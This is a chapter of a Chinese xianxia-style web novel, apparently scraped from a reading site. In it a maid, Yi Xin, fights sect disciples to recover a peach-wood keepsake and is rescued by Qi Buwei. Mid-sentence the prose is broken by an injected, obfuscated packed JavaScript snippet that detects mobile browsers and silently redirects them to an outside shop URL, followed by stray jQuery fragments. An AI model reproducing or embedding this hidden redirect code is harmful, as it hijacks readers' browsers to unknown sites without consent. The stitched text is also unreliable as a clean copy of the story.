47. 第十六章
作品:《我不覆辙》 李冲:“我都不认识你,偷你的东西做甚!倒是你一个侍女闯进来,你想做什么!”
易辛驳斥:“你偷了我的桃木,还用假桃木骗我!用术法追踪假桃木,就能追到你身上!”
李冲变了脸色,依旧死不承认:“胡言乱语!”
钱衡听完,终于明白桃木是易辛的东西,那截桃木分明再普通不过,爹研究过,他也研究过,但他爹为何觉得这桃木不同寻常,甚至特意派人偷过来?
只是此时此刻,无论如何都不能承认无相宗拿了一个侍女的东西!
易辛扭开李冲的钳制,从怀里掏出一截断木,质问李冲:“要是不信,你就喊人来试试,看我有没有冤枉你!”
不等李冲说话,易辛手中假桃木一松,直直飞入火盆中,钱衡收回施法的手,喝道:“随便拿根木头就想污蔑我们无相宗弟子,你把无相宗当成什么了!”
假桃木一入火盆,挑动了里头的东西,让易辛看见了风疏送给她的真桃木。
易辛颤抖:“我看见了……我看见了……!”
说罢,她又扑向火盆,李冲真怕她翻出东西,一时什么都顾不上,瞬身上前,抬脚一踹,把人飞踹到门边。
易辛胸口上捱了一脚,钝痛无比,仿佛连呼吸都踹断了,脸色涨得紫红。
她趴在地上,喘气连连,食盒不知何时已经翻了,瓷碟四碎。
李冲上前,停在易辛身旁,严厉道:“火盆里是宗门信件,此等机密,怎能给你一个外人——啊!!!”
话没说完,李冲陡然惨叫一声,听来痛苦不堪,低头一看,碎瓷嵌进小腿里,随着身体的颤抖而微微抖动,白瓷上满是血迹。
在他靠近时,易辛便摸到手边一块瓷片,狠狠扎进李冲小腿。看她脸色,好像可以的话,她更想截断这条腿。
李冲抬脚又是想踹,易辛早有防备,徒手铲动他另一条腿,叫他猝不及防地摔倒在地,头闷进火盆的前一瞬,钱衡眼疾手快地施法移开火盆,朝屋里去得更远。
李冲狼狈至极,没想到被一个小侍女弄成这番模样,再想起身教训易辛,却被钱衡揪住衣裳甩向一边。
一番动静下来,早已惊动了数名无相宗弟子,众人围在屋外,看着还趴在地上的易辛。
钱衡从易辛身上看出一股愚不可及、自不量力的倔强,他忽然有些兴奋,他就想看易辛一次次尝试、挣扎、失败,最后把意志磨得一干二净,只剩绝望哭泣。
钱衡挡在火盆前,对易辛笑道:“你想看火盆,可以,只要你能摸到它。”
话落,钱衡一挥手,门外数名弟子鱼贯而入,排成两列,一边伸出一只手,作出阻拦的姿态。
“既然你不修行,我们也不用术法,很公平。”钱衡说道。
可常理来说,男女力量本就悬殊,何况这么多男子拦住易辛一人。
钱衡又补充道:“你若是被拖出屋外,就永远看不到火盆——”
他话未说完,易辛陡然间从地上爬上起来,并不从中间数道人形手锁里穿过,而是另辟蹊径,向旁边跑去,绕过那些弟子。
众人一时间都愣住了,钱衡也是。
他话都没说完,易辛居然就动了。
而那些弟子正等钱衡的下文,也都以为易辛会从中间突围。
大家反应慢了两拍,易辛没有一味往前冲,在弟子们反应过来要阻拦时,她侧身抓起凳子椅背,借着旋身的力量抡足了半圆,毫不留情地砸在其中一名弟子身上。
那人被砸得退后好几步,倒在其余弟子身上,如此一来,又阻拦了几人的脚步。
这时,有人从旁冲上来抓易辛,她抄起桌上茶杯,不砸身体,只狠狠对准面门。
对上易辛绷紧而决绝的面容,对方下意识躲开茶杯,她故技重施,又把人推进人群里。
混乱间,还是有人趁机扯住了易辛胳膊。
在更多人围上来之前,易辛行云流水地拔下发簪,刺向那人颈部,那名弟子眼疾手快地钳住她手腕。
一时间,易辛两手都被压制住,对面刚要施力,但见她抬脚屈膝,正中□□。
钻心的痛楚袭来,他猛地腿软蜷缩在地。
倒地的倒地,惨叫的惨叫,场面一时滑稽无比,钱衡气不打一处来,忽闻易辛骤然高呼:
“无相宗宗主!你光看不出手吗!”
众人顿时呆住,齐齐望向门口。
几息之间的空隙,易辛奔向钱衡。
门口空空如也,瞬间大家反应过来,他们都被易辛骗了!
钱衡立即捕捉易辛动向,冷不丁眼前一晃,她已经跑到自己身前,伸手揪住他衣襟,防止他逃跑似的。
钱衡几乎是下意识的反应,猝然伸爪,铁一般箍住易辛脖颈,却见对方视若无睹。
余光里,骤然瞥见易辛抬手,掌心一只木箭,箭尖直朝他而来!
刹那间,钱衡就直觉那不是普通的箭。
他甚至胆寒到无法作出反应,眼睁睁看着易辛刺向自己。而她向来温顺的脸似乎也被怒火烧出了可怖又摄人的皲裂。
那一刻,钱衡从易辛眼中读出了类似于把老实人逼急后迸发出的杀意!
从头到尾,易辛都知道,单凭她自己根本无法够到火盆,即使摸到了,她不信钱衡会信守诺言。
她太弱了,她想拿回桃木,可她时时刻刻都在桃木可能已经毁掉的煎熬恐惧之中。
她太恨了,恨到想杀死钱衡。
而只要这样,必生混乱。混乱之中,她总能拿到桃木!
所以——她对钱衡下了死手!
这一刻在两人之间无限拉长。
易辛和钱衡都看着箭一寸寸靠近他身体,仿佛要把他的魂魄从身体里逼出去,让他魂飞魄散!
蓦地,有人攥住了她手腕,箭无法再往下一寸。
两人尚未反应过来,钱衡紧接着被一脚踹飞,砸烂了屋中桌椅。
钱衡似痛苦至极,整张脸都扭曲了,闷咳间,迸出一缕又一缕的血。
桃木刷地从火盆中飞出,易辛本能地循着望来,桃木悬在祁不为手心里。
易辛盯紧桃木,这截木头她看了上百次,没有折断,也没有烧坏一角。
桃木完好无损!
这时,易辛似乎才察觉到自己激烈而紊乱的心率,血液好像在体内湍急奔流,撞得眼睛发晕,耳朵嗡鸣。
全身紧绷中,易辛僵硬抬眼,对上祁不为直直盯住她的目光。
他把桃木举到易辛身前:“我先帮你保管,可以吗?”
易辛听得不是很清楚,肃立却呆楞地望着祁不为。
他感觉易辛像个小火球,又略一用力捏住了她手腕。
“把箭收起来。”
施在手腕上的力度,让易辛大致明白他的意思,手一松,箭凭空消失。
钱衡看着祁不为,怒极了:“咳咳……祁不为……你敢伤我……”
祁不为握着易辛手腕,轻轻放下,让它好好垂在身侧,又对她平静道:“站到旁边去,无论看到什么,都别害怕。”
易辛望他须臾,在他的指引下退到一旁。
弟子们早已涌到钱衡身边,把人扶起。
那一脚似乎踹得不轻,钱衡面色铁青,缓过一口气后,抬手粗鲁地抹掉血迹,把身边搀扶之人通通拂开,满脸阴鸷,他上前几步:“祁不为!今日,我们新账旧账一起算!”
两人默认只施展拳脚,不斗术法,众人不自觉让开场地。
钱衡身材魁梧,一身腱子肉,光看面相身形,压迫感十足,他怒喝一声,一拳打向祁不为。
祁不为侧身避开,顺势捏紧钱衡手腕,抬手作
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002308|191107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀,痛击他的肘部关节。
钱衡痛得神情一凛,整条胳膊都麻了,下一瞬,祁不为又是抬膝,他再次飞了出去。
钱衡这次振作得很快,怒吼一声,两人斗得愈发凶狠起来。
众人看着都捏了把汗,李冲一瘸一拐地站在角落里,心里止不住颤栗,这事越闹越乱了……如果被宗主知道……
祁不为挨了几拳,脸上立马挂彩,但钱衡伤在身上,更为严重。
又是一掌后,钱衡猛退几步,跌在椅子里,打到现在,他知道自己胜不了祁不为,恼怒之下,说话丝毫不过大脑。
“爹娘死得早,没人教还能练到这个地步,吃了很多苦吧!真可怜!”钱衡讽刺一笑。
此话一出,祁不为脸色倏变。
众人顿觉屋内温度骤降,祁不为瞳孔黑得无边无际,寒意浓得化不开,整个人就像阴鬼,只要动一下,就会把钱衡撕成一片一片碎肉。
钱衡怒火上头,根本没发觉气场不对,只觉戳中了祁不为痛脚,心中倍感畅快,还要出言侮辱讥讽几分,却忽然高声惨叫:“啊——!”
惨叫变调了几回,一度拉长,显得无比凄厉。
易辛拔掉了烛台的蜡烛,露出铜制尖锥,用尽全身力气狠狠扎进钱衡手背!
尖锥在手背上戳出血窟窿,穿透椅子扶手。
钱衡痛呼到后半程几乎失声,目眦欲裂地瞪着易辛,看起来简直想杀了她……可他没有力气,痛楚一波波窜上大脑,可恨那易辛,面无表情,堪称冷静,一双眼满是怨毒。
易辛毫无伤人见血之愧疚惶恐,她松开烛台,绷着下巴看钱衡惨痛无比。
她不信李冲无人指使,从进屋看见钱衡的那一瞬,她就想扎穿他的手了。
小时候父母教训偷东西的孩子,总是拿针扎手。
可知她一直静待时机。方才那一箭没射下去,现在扯平了。
弟子们瞬间慌了神,纷纷围上来看钱衡伤势,根本没人管易辛。
易辛退出人群,拉住祁不为的手。
“我们走吧。”
祁不为没有动,目光死死盯住人群缝隙里惨叫连连的钱衡。
易辛手上施了力度,掰过他下巴让他看着自己:“祁不为,我们走吧。”
祁不为眉头动了一下,被易辛拉着离开。
一路上,易辛已经缓了过来。
到了住处,她松开祁不为的手,把人按在椅子上:“公子,药放在何处?你脸上需要抹药。”
祁不为沉默,双目看似无神,却又仿佛陷入了浓烈的恨意当中。
易辛不再问他,在他屋子里翻找膏药。祁不为放东西的习惯没有变,她很快找到了一小方玉盒,膏药清凉好闻。
瓶身上贴了张小纸,是治外伤的。
易辛先告知祁不为一声:“公子,我给你上药。”
说罢,她把药在手里化开了,再不轻不重地敷在祁不为脸上。
牵动伤口是痛的,但祁不为动也不动,像尊木头,更没发现易辛竭力抑制却还是微微颤抖的双手。
两人都很安静。
抹完药后,易辛把药盖好放回桌面上,顺势借力撑了一下:“公子……你好好歇息,我先回去了……”
其实往常来说,易辛不会在这时离开祁不为的。他身旁空无一人,若是情况不对,根本没人发现阻止,但她心口越来越痛,连站着都很勉强。
她觉得自己随时都会晕倒。
祁不为脸色变了一下,似乎回过神来,退去了身上寒意,发觉易辛声音似有勉强。
他抬眼去看易辛,只见她脸色惨白,唇色全无,嘴巴微微张着,进气多出气少的模样。
祁不为面色一紧,顿时起身扶住易辛:“你怎么了……哪里不舒服?”
易辛一下子脱力,往后倒去。

